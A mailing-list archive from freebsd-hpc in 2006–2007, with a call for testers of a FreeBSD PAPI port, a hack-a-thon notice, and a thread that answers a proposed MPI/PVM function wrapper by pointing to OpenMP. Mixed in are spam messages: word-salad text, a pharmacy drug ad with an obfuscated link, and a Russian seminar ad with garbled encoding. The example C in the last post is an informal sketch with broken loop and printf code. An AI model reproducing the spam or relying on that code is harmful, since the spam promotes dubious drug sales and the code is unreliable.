I'm working on the port of PAPI (Performance API) library to FreeBSD using
Joseph Koshy's hwpmc / libpmc (see hwpmc(4) / pmc(3)).

From the PAPI homepage:
PAPI aims to provide the tool designer and application engineer with a
consistent interface and methodology for use of the performance counter
hardware found in most major microprocessors. PAPI enables software
engineers to see, in near real time, the relation between software
performance and processor events.

I'm searching some testers for my first version of the port because I'm
only able to test it on my laptop (FreeBSD 6.2 / Pentium M) and it would be
great to test it in other kind of processors (now it's only supported on
Pentium 2/3/4/Celeron AMD K7/8) before releasing it (and providing my
patches to PAPI developers).
Anyone interested on doing this test, please, send me an email and I'll
reply you with some instructions to follow.

Thank you very much.

--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

PAPI for FreeBSD

2007-05-18T01:31:32Z

Hello,

I'm working on the port of PAPI (Performance API) library to FreeBSD using
Joseph Koshy's hwpmc / libpmc (see hwpmc(4) / pmc(3)).

From the PAPI homepage:
PAPI aims to provide the tool designer and application engineer with a
consistent interface and methodology for use of the performance counter
hardware found in most major microprocessors. PAPI enables software
engineers to see, in near real time, the relation between software
performance and processor events.

I'm searching testers for my first version of the port because I'm only
able to test it on my laptop (FreeBSD 6.2 / Pentium M) and it would be
great to test it in other kind of processors (now it's only supported on
Pentium 2/3/4/Celeron AMD K7/8) before releasing it (and providing my
patches to PAPI developers).
Anyone interested on doing this test, please, send me an email and I'll
reply you with some instructions to follow.

Thank you very much.
--
_________________________________________________________________
Empty your memory,
with a free()...
like a pointer!

If you cast a pointer to an integer,
it becomes an integer,
if you cast a pointer to a struct,
it becomes a struct.

The pointer can crash...,
and can overflow.

Be a pointer my friend...
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Cell BE Hack a Thon

2007-01-10T18:19:41Z

Terra Soft is hosting the first-ever hack-a-thon for the optimization
of applications for the Cell Broadband Engine at Terra Soft's Colorado
headquarters on January 20-26.
http://www.hpc-consortium.net/events/hack-a-thon/
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: expectatio

2006-12-15T07:49:04Z

might express it better. My degrees are in archeology and cultural

Re: expectatio
Of course. As soon as your false credentials were filed the
Our gold-clad greeter bowed to us, then led the way. Towards the brick
Fascinated, we all leaned forward to look. Yes, there was the recess.
the wrists, crossed my arms with a single spasmodic burst of effort
flock coming up.
walking around here. But before you answer that-who do you think the
these dreadful compositions yet another time. He plugged in the cubes
equally well as I slipped away between the interstices of society.
We followed the flapping black nylon tail through the streets and

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: nystagmu

2006-11-27T08:47:39Z

Hi,

VjAGRA_yl_$1,78
CjALiS_qt_$3,00
LEVjTRA_sp_$3,33

www [dot] rx44 [dot] info
_____

now.

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: Контроль над управлением в холдинге.

2006-03-16T00:21:14Z

<= strong>Интегрированные структуры (холдинги).
Контроль над управление= м

Цель се= минара:

Осмыслен= ие современного
состояния = и перспектив
развития пр= авового
регулирования холд инговых структур в
России. = Обзор основных
способов= создания
холдингов. Изучен= ие
особенностей корпоратив ного управления и
обеспечени= я
корпоративного контроля
в= интегрированных
структура= х.

Дата проведения:
21 - 22 марта, п= о 6
академических часов в
день, с перерыв= ом на обед
и кофе-брэйк.

Мест= о проведения:
г. Москв= а
Стоимость уча= стия:
10 999 = рублей, методические и раздаточные материалы,
об= еды, кофе-брэйки
включены в= стоимость.

Аудитория:

Курс разр= аботан для
руководителей
предприятий крупного и с реднего бизнеса, членов
сов= етов директоров,
собственни= ков бизнеса,
руководителей и ответственных работников
ю= ридических и
финансовых
департаментов, отделов ц енных бумаг,
инвестиционной= практики,
управления имуществом,
корпоративн= ого
управления, внутреннего аудита.

По оконч= ании курса
участники узнают= :

*
Наибол= ее оптимальные
способы создания
холдинговых с= труктур.
*
Порядо= к изменения
корпоративного=
управления дочерними о бществами в зависимости
от = потребностей
холдинга.
*
Методы= и приемы,
обеспечивающие
сохранение корпоратив ного контроля над
интегриро= ванными
структурами.
*
Принци= пы гармонизации
внутренних= документов
(локальных н= ормативных
актов) интегриро= ванных
структур.

Краткое содержание

*
Понятие х= олдинга.
Современное состо= яние
и перспективы развития правового
регулирования хо лдинговых структур в
России.
*
Особенно= сти создания и
внутренняя = структура
холдингов в Р= оссии
*
Корпорат= ивное
управление холдингов ыми структурами:
междунаро= дная практика
и российский = подход
*
Обеспече= ние
корпоративного контрол я над холдингами и
предот= вращение внешних
и внутренн= их угроз.
*
Значение= внутренних
документов (лок= альных
нормативных актов) в уп равлении
интегрированными структурами.
*
Правовое= регулирование
ответственн= ости в
холдинговых структур= ах
*
Ответы на= вопросы

По вопросам регист арации обращайтесь по тел:
(4= 95) 792-21 22, 742-91-98

CtUBl
_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."

Re: HPC: Using Message Passing to distribute threads

2006-02-14T08:30:46Z

[Dropped irrelevent mailing lists. In general CCing lists at multiple
sites is bad form].

On Tue, Feb 14, 2006 at 03:58:53PM +1030, Aluminium Oxide wrote:

> Forgive me if I am suggesting that we reinvent the wheel, but I have a
> problem with a potentially simple solution.
>
> It concerns the difficulty of adapting an application to use a parallel
> computing system, such as with MPI or PVM.
>
> I would like help possible to write a simple (heh heh) compiler
> directive, or header, or a wrapper function which allows one to add a
> tag or wrap a function call to a function which will be called
> iteratively to spawn not just a new thread, but a new thread ***which
> can be passed to another node*** in a parallel computer system?
>
> This seems like a very simple and elegant method by which
> non-parallelised code can be adapted to a parallel architecture.

That you're describing is functionally if not syntatcicaly identical to
OpenMP.

http://en.wikipedia.org/wiki/OpenMP

GCC's GOMP project is creating such a implementation for SMP systems at:

http://savannah.nongnu.org/projects/gomp/

Note that this won't work for a cluster, there have been implementations
of OpenMP on top of message passing libraries, but codes and clusters
where such implementations make sense given the communication overhead
are rare.

-- Brooks

--
Any statement of the form "X is the one, true Y" is FALSE.
PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4

attachment0 (196 bytes) Download Attachment

HPC: Using Message Passing to distribute threads

2006-02-13T21:28:53Z

Forgive me if I am suggesting that we reinvent the wheel, but I have a
problem with a potentially simple solution.

It concerns the difficulty of adapting an application to use a parallel
computing system, such as with MPI or PVM.

I would like help possible to write a simple (heh heh) compiler
directive, or header, or a wrapper function which allows one to add a
tag or wrap a function call to a function which will be called
iteratively to spawn not just a new thread, but a new thread ***which
can be passed to another node*** in a parallel computer system?

This seems like a very simple and elegant method by which
non-parallelised code can be adapted to a parallel architecture.

My C, and my understanding of threading is very limited, and I've never
written any kernel code. However, I will try and give an example:

The adaption process would simply become

o #include <pvmwrap.h> /* Add support for a parallel computing thread
call */
o locate higher-level functions which are computationally intensive
and will be called iteratively;
o replace the raw function call with a pvmwrapped call.

Eg.,
/*A module to calculate n! for the first 1000 numbers*/

int number;
long double number_factorial;
long double factorial (int number) {.....}
.....
scanf("%d",number);
for (i=0;i==number;i++,number_factorial=(factorial(number))) {
printf ("%d factorial = %d",number_factorial;
}
....

would become

#include <pvmwrap.h>

int i,number;
long double number_factorial;
long double factorial (int number) {.....}
.....
scanf("%d",number);
for (i=0;i==number;i++,pvmwrap(number_factorial=(factorial(number)))) {
printf ("%d factorial = %d",pvmwrap(factorial(number);
}
....

pvmwrap would have the necessary calls via the message passing protocol
to create the thread on the next available node, rather than on the
local system, and return the result to the caller. pvmwrap will need to
perform type identification of the variables, or targets of pointers,
and then declare these on the executing node first, to permit execution
without having to specifically code these declarations as parallelised
(which would greatly complicate the adaption to parallelism). The few
cycles used to perform these type identifications each iteration are
negligible compared with those of the wrapped function itself.

What say ye?

Damien Miller
===================================
Sub POSIX lumen
orac000@...
+61 422 921 498
au.geocities.com/orac000000/bsd.html
===================================
--
Aluminium Oxide
orac000@...

--
http://www.fastmail.fm - Choose from over 50 domains or use your own

_______________________________________________
freebsd-hpc@... mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-hpc
To unsubscribe, send any mail to "freebsd-hpc-unsubscribe@..."